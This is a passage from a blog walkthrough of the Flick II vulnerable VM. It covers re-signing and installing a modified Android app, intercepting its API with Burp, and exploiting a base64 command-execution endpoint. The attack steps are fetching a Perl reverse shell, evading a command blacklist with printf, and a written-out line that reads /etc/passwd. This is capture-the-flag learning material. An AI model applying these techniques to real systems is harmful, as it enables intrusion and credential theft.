  signing: res/drawable-xhdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-xhdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-xhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-xhdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-xhdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-xxhdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-xxhdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-xxhdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-xxhdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-xxhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-xxhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-xxhdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-xxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-xxxhdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-xxxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable/abc_btn_check_material.xml
  signing: res/drawable/abc_btn_default_mtrl_shape.xml
  signing: res/drawable/abc_btn_radio_material.xml
  signing: res/drawable/abc_cab_background_internal_bg.xml
  signing: res/drawable/abc_cab_background_top_material.xml
  signing: res/drawable/abc_edit_text_material.xml
  signing: res/drawable/abc_item_background_holo_dark.xml
  signing: res/drawable/abc_item_background_holo_light.xml
  signing: res/drawable/abc_list_selector_background_transition_holo_dark.xml
  signing: res/drawable/abc_list_selector_background_transition_holo_light.xml
  signing: res/drawable/abc_list_selector_holo_dark.xml
  signing: res/drawable/abc_list_selector_holo_light.xml
  signing: res/drawable/abc_ratingbar_full_material.xml
  signing: res/drawable/abc_spinner_textfield_background_material.xml
  signing: res/drawable/abc_switch_thumb_material.xml
  signing: res/drawable/abc_tab_indicator_material.xml
  signing: res/drawable/abc_textfield_search_material.xml
  signing: res/layout-v11/abc_screen_content_include.xml
  signing: res/layout-v21/abc_screen_toolbar.xml
  signing: res/layout/abc_action_bar_title_item.xml
  signing: res/layout/abc_action_bar_up_container.xml
  signing: res/layout/abc_action_bar_view_list_nav_layout.xml
  signing: res/layout/abc_action_menu_item_layout.xml
  signing: res/layout/abc_action_menu_layout.xml
  signing: res/layout/abc_action_mode_bar.xml
  signing: res/layout/abc_action_mode_close_item_material.xml
  signing: res/layout/abc_activity_chooser_view.xml
  signing: res/layout/abc_activity_chooser_view_list_item.xml
  signing: res/layout/abc_expanded_menu_layout.xml
  signing: res/layout/abc_list_menu_item_checkbox.xml
  signing: res/layout/abc_list_menu_item_icon.xml
  signing: res/layout/abc_list_menu_item_layout.xml
  signing: res/layout/abc_list_menu_item_radio.xml
  signing: res/layout/abc_popup_menu_item_layout.xml
  signing: res/layout/abc_screen_content_include.xml
  signing: res/layout/abc_screen_simple.xml
  signing: res/layout/abc_screen_simple_overlay_action_mode.xml
  signing: res/layout/abc_screen_toolbar.xml
  signing: res/layout/abc_search_dropdown_item_icons_2line.xml
  signing: res/layout/abc_search_view.xml
  signing: res/layout/abc_simple_dropdown_hint.xml
  signing: res/layout/activity_command.xml
  signing: res/layout/activity_do_register.xml
  signing: res/layout/activity_main.xml
  signing: res/layout/activity_read_api_server.xml
  signing: res/layout/activity_register.xml
  signing: res/layout/support_simple_spinner_dropdown_item.xml
  signing: res/menu/menu_command.xml
  signing: res/menu/menu_do_register.xml
  signing: res/menu/menu_main.xml
  signing: res/menu/menu_read_api_server.xml
  signing: res/menu/menu_register.xml
  signing: res/mipmap-hdpi-v4/ic_launcher.png
  signing: res/mipmap-mdpi-v4/ic_launcher.png
  signing: res/mipmap-xhdpi-v4/ic_launcher.png
  signing: res/mipmap-xxhdpi-v4/ic_launcher.png
  signing: resources.arsc
jar signed.

Warning: 
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate this jar after the signer certificate's expiration date (2044-05-06) or after any future revocation date.

And now lets try installing it again:

MahcBook-Pro:temp sebastianbrabetz$ /path/to/Library/Android/sdk/platform-tools/adb install flick-hacked.apk 
803 KB/s (1110948 bytes in 1.350s)
	pkg: /data/local/tmp/flick-hacked.apk
Success

Awesome it worked!

Now lets try to MitM the App with burp:

first-mitm-connection

 

And lets take a look at burp:

first-mitm-connection2

Awesome it worked! We can now MitM the Programm and see it registering the Device!

We can now watch the Programs API Functioncalls:

free-in-app

And in burp:

free-in-burp

Now we can use “Action -> Send to Repeater” to interactively play with the API:

api-games

Nice!!!

Third Order of Business: From API to Shell!

You can read the sourcecode or easily guess that the app just base64 encodes the linux shell commands.

Lets try another one:

decoder-id

And execute it:

id-call

gotcha! Lets see if we can download my favorite Perl Reverse shell that comes with Kali on FlickII

First we need a simple webserver for hosting the perl file:

simple-http-server1

 

Now lets try to wget my shell:

wget-fail

command not found….

Lets try curl instead:

curl-decoder

And execute it:

curl-ok

*boom*

simple-http-server

Nice now I have placed my Perl-Reverseshell script on the Server!
Lets see if I can find it:

ls-decoder
And again execute:

ls-banned-command

 

Oh no! Banned command! Seems like the API blacklists certain commands!

Blacklisting however is always vulnerable, i just need to figure out a command that lets me  execute any blacklisted command!

After a bit of searching arround stackoverflow i learned that printf is this almighty creature!

It lets me list directories:

printf-ls-tmp1

 

printf-ls-tmp2

 

Oh nice, there is my shell!

printf lets me display the content of files using this sytnax:

 printf "%s" "$(</etc/passwd)"

printf-to-display-etcpasswd

And printf lets me execute it using this neat trick:

printf-execute-banned-commands

 

Lets try:

shooting-reverse-shell-using-printf

*boom* again:

we-got-shell

 

This feeling when the reverse shell pops! :-)

This Concludes the first part of the writeup!

Now I need to figure out the privesc and become root so i continue with part II of flick II

 

Thanks to:

@leonjza for providing this awesome VM + Android App!

@edskoudis and the entire SANS Team + everyone else that created and supported this years SANS Holiday Hack Challenge 2016!

If you want read up on this topics I recommend:

  1. This years Holiday Hack Challenge
  2. SANS Pen Test – How To’s: Manipulating Android Applications – Youtube Video
  3. Mining Android Secrets (Decoding Android App Resources)
  4. Joshua Wrigth’s presentation from HackFest 2016 on using Android Studio and JadX (PPTX)
  5. Bypassing Certificate Pinning on Android for fun and profit

Thanks for reading to the end!
Feel free to ask questions in the comments!

–> Continue to Part 2 of the Walkthrough Here <–

Merry Christmas!

BR
Sebastian

Posted in boot2root, miscellaneous, vulnhub | 1 Comment